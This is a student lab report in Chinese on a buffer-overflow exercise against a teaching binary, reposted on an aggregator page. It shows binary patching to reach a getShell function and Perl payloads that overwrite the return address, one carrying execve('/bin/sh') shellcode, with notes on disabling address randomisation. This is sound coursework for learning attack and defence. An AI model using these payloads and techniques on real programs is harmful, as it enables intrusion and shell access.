#20232408 2025-2026-1《网络与系统攻防技术》实验一实验报告

news/2025/10/8 20:03:58/文章来源:https://www.cnblogs.com/20232408lyc/p/19130026

北京电子科技学院(BESTI)

实 验 报 告

课程名称: 网络与系统攻防技术
实验序号: 实验一
实验名称: 缓冲区溢出攻击
学 号: 20232408
姓 名: 李易骋
指导老师: 王志强
必修/选修: 选修
实验日期:

一、实验目的

1. 掌握反汇编与十六进制编程器

2. 能正确修改机器指令改变程序执行流程

3. 能正确构造payload进行Bof攻击

二、实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实践内容如下:

1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

3. 利用nc远程,进行对getShell的触发控制。

三、基础知识

1. Linux shell指令操作

1.1 基本指令:

cd,ls,od,vim,xxd,cat,cp,mv,mkdir,rm……

1.2 C程序编译与开发:

gcc,gdb,cgdb

2. 反汇编

反汇编是将可执行文件反向转换成汇编语言的过程。

Linux反汇编工具objdump:

基础使用命令:objdump -d

基于不同架构:objdump -m -d

  1. 缓冲区溢出

3.1 相关概念

缓冲区、堆和栈

栈(Stack):后进先出结构,用于管理函数调用。

堆(Heap):用于动态分配内存,需手动分配和释放。

缓冲区(Buffer):程序里用来临时存储数据的一块连续内存。

在利用漏洞时,必须将地址按小端序写入载荷,否则会跳转到错误地址。

3.2 基本原理

调用函数时,栈上的内存布局如下:

表 1 栈上内存布局

高地址
参数
返回地址RET
新EBP→旧的EBP内容
局部变量
低地址

当向缓冲区写入大量的数据时,一部分数据会溢出到返回地址等其他关键数据。攻击者通过构造存在内存的恶意代码段和含有该代码段地址的一段数据,使得返回地址恰好被恶意代码地址覆盖,从而达到返回时执行代码段的目的。

四、实验过程

1. 手工修改pwn20232408文件,执行ls命令

1.1 配置初始文件

unzip pwn1.zip

cp pwn1 pwn20232408

Objdump -d pwn20232408 | more

WPS图片(1)

1.2 修改文件内容

vi pwn20232408

%!xxd

/e8 d7 ,修改为e8 c3

%!xxd -r

退出保存,执行文件./pwn20232408

再次反汇编,查看是否正确修改,检查结果正确。

图片2

  1. 通过构造输入参数,造成BOF攻击,改变程序执行流

    这里是利用了gets函数没有输入限制,所以直接
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    alt text
    直接注入,跳转到系统函数getshell的位置。

图片3

3.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.1反汇编程序,分析程序

Objdump -d pwn20232408 | more

WPS图片(1)

发现这里是gets,没有检测输入长度,是有缓冲区溢出攻击的可能性的。这个注入和上一个不同的是,不是去找getshell,而是自己构造shellcode。

3.2设置断点,查找可以攻击的漏洞

图片5

这里是后面重新开机做的,esp地址变了。在实验时是ffffd35c。由于我们选择这种形式:nop+shellcode+retaddr

参照指导书写的shellcode是perl -e 'print "A" x 32 . "\x04\x03\x02\x01"."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input\_shellcode

为什么这里是A * 32呢?

push ebp ;

mov ebp, esp ; 这里相差一个地址单位,是4字节,而

-0x1c就是-28,所以其实是差了32字节,我们可以自行输入少于32字节的输入来验证。

这样就可以注入后续代码,使其溢出覆盖到返回地址。

图片6

3.3修改注入,执行命令

我们可以修改“/x04/x03/x02/x01”,伪造esp的返回地址,使其跳转到我们要它跳转的位置。即esp+8的位置,也就是我们shellcode的位置。

将“/x04/x03/x02/x01”修改为“/x60/xd3/xff/xff”,再次注入。
alt text

  1. nc远程连接
    根据实验指导书,直接开双终端连接自己主机。

图片7

证明可以实现。

五、实验中遇到的问题及解决

1.没有execstack,下载不了(报错是网址不存在),后来换了patchelf,效果是一样的。

2.在做第三步时,注入shellcode,一开始没有调试成功,管道破碎。后来发现是按照实验指导书写的payload可能不太好找shellcode位置,所以后面换了一种方式注入。

3.第三次调试的时候发现esp返回地址一团乱麻,后来检查时发现是忘记了关闭地址随机化,之前都是关闭的,只是第三次调试忘了。

六、实验体会

缓冲区溢出真的是很神奇的攻击方式,我觉得一个核心在于找到注入点,还有一个就在于shellcode的构思。这次实验做了很久,出现了许多问题,有些问题解决了一次第二次又有新的“变式”,但是通过不断解决问题,我对这个知识点的认识更加深入。同时,我们不仅是“攻击者”,也是“防御者”,会了怎么攻击,才能知道怎么去防御。在写函数时,要做最基本的限制输入长度;可以限制一些危险十六进制字符的输入,来在一定程度上限制缓冲区溢出攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/931889.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

reLeetCode 热题 100- 239. 滑动窗口最大值 队列 - MKT

reLeetCode 热题 100- 239. 滑动窗口最大值 队列 队列记录最大值集合 方法一1 枚举 速度嘛 n*k方法2 map 记录频次 通过速度慢方法3 队列记录当前最大值 最快class Solution { public:vector<int> maxSlidingWin…

做视频网站要申请什么许可证绑定手机网站文件夹

一、前言 在嵌入式板子上由于没有系统层面的输入法支持&#xff0c;所以都绕不开一个问题&#xff0c;那就是在需要输入的UI软件中&#xff0c;必须提供一个输入法来进行输入&#xff0c;大概从Qt5.7开始官方提供了输入法的源码&#xff0c;作为插件的形式加入到Qt中&#xff…

自营店网站建设装修公司装饰

文章目录 **摘** **要**目 录系统设计开发环境 摘 要 近些年来&#xff0c;随着科技的飞速发展&#xff0c;互联网的普及逐渐延伸到各行各业中&#xff0c;给人们生活带来了十分的便利&#xff0c;抗疫物资管理系统利用计算机网络实现信息化管理&#xff0c;使整个抗疫物资管理…

深入解析:三维坐标转换

深入解析:三维坐标转换pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &qu…

ToDo-List EveryDay

健康任务待办事项.health-todo-container * { box-sizing:border-box; margin:0; padding:0; } .health-todo-header { text-align:center; margin:1rem 0; } .health-todo-title { font-size:2.5rem; font-weight:bol…

详细介绍:ArcGIS Pro字段计算器与计算几何不可用,显示灰色

详细介绍:ArcGIS Pro字段计算器与计算几何不可用,显示灰色pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Conso…

英语_阅读_Water and digital life_待读

Water and Digital Life: Technologys Role in Saving Our Planet 水与数字生活:科技在拯救地球中的角色 Water is a precious resource that keeps humans, animals and nature alive. 水是一种宝贵的资源,维系着人…

Wails + Go + React跨平台RTSP播放器分享

最近用Wails框架开发了一个跨平台的RTSP播放器,通过WebRTC技术实现了RTSP到Web端的低延迟转换,效果非常不错。今天就来分享一下整个开发过程和技术方案。 🖼️ 平台预览Windows 平台 macOS 平台🎯 项目背景 痛点…

网络与系统攻防实验报告一 20232408李易骋1

北京电子科技学院(BESTI) 实 验 报 告课程名称: 网络与系统攻防技术实验序号: 实验一实验名称: 缓冲区溢出攻击学 号: 20232408姓 名: 李易骋指导老师: 王志强必修/选修: 选修实验日期:一、…

深入解析:Starrocks Full GC日志分析

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Hadoop 3.x 伪分布式 8088端口无法访问问题处理 - 实践

Hadoop 3.x 伪分布式 8088端口无法访问问题处理 - 实践2025-10-08 19:43 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; d…

淘客网站开发公司专业企业网站开发联系电话

MyBatis之优化MyBatis配置文件中的配置 2017/9/30MyBatis配置文件很重要&#xff0c;首先我们来看看MyBatis配置文件中的内容和顺序: 文件目录结构如下: 1.<properties>属性定义 可以把一些通用的属性值配置在属性文件中&#xff0c;加载到mybatis运行环境内。例如创建d…

邯郸做wap网站建设苏州新区城乡建设网站

Java系列之:深入理解设计模式 一、设计模式相关技术文章二、设计原则三、设计模式概念四、设计模式的分类五、创建性模式六、创建性模式-工厂方法模式七、创建性模式-抽象工厂模式八、创建性模式-构建器模式九、面向对象设计-结构性模式十、结构性模式-适配器模式十一、结构性…

[KaibaMath]1003 关于[x+y]≥[x]+[y]的证明

[KaibaMath]1003 关于[x+y]≥[x]+[y]的证明下面给出[x+y]≥[x]+[y]的证明。由此证明,我们可轻松推导出:{x+y}≤{x}+{y}。该不等式与绝对值的三角不等式|x+y|≤|x|+|y|具有高度一致性,因为{x}和|x|均非负。

【A】Strategy above the depths

P7457 [CERC2018] The Bridge on the River Kawaii 考虑线段树分治,做完了。

完整教程:Python 训练营打卡 Day 43

完整教程:Python 训练营打卡 Day 43pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monac…

实用指南:Oracle数据库笔记

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

通过el-table 树形材料,子行数据能够异步加载

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

[KaibaMath]1002 关于[x+n]=[x]+n的证明

[KaibaMath]1002 关于[x+n]=[x]+n的证明对x+n进行取整运算时,可将整数n提取到[]之外,这无疑简化了取整运算。

SpringBoot进阶教程(八十七)数据压缩

最近在使用Redis的时候,经常遇到一些不常用的大key,对存储有一些负担。就想着把大key压缩一下。压缩可以分很多种,比如拆分JSON字符串​, ​​压缩JSON字符串​,优化JSON体积​,流式处理大型JSON​和分段存储。v…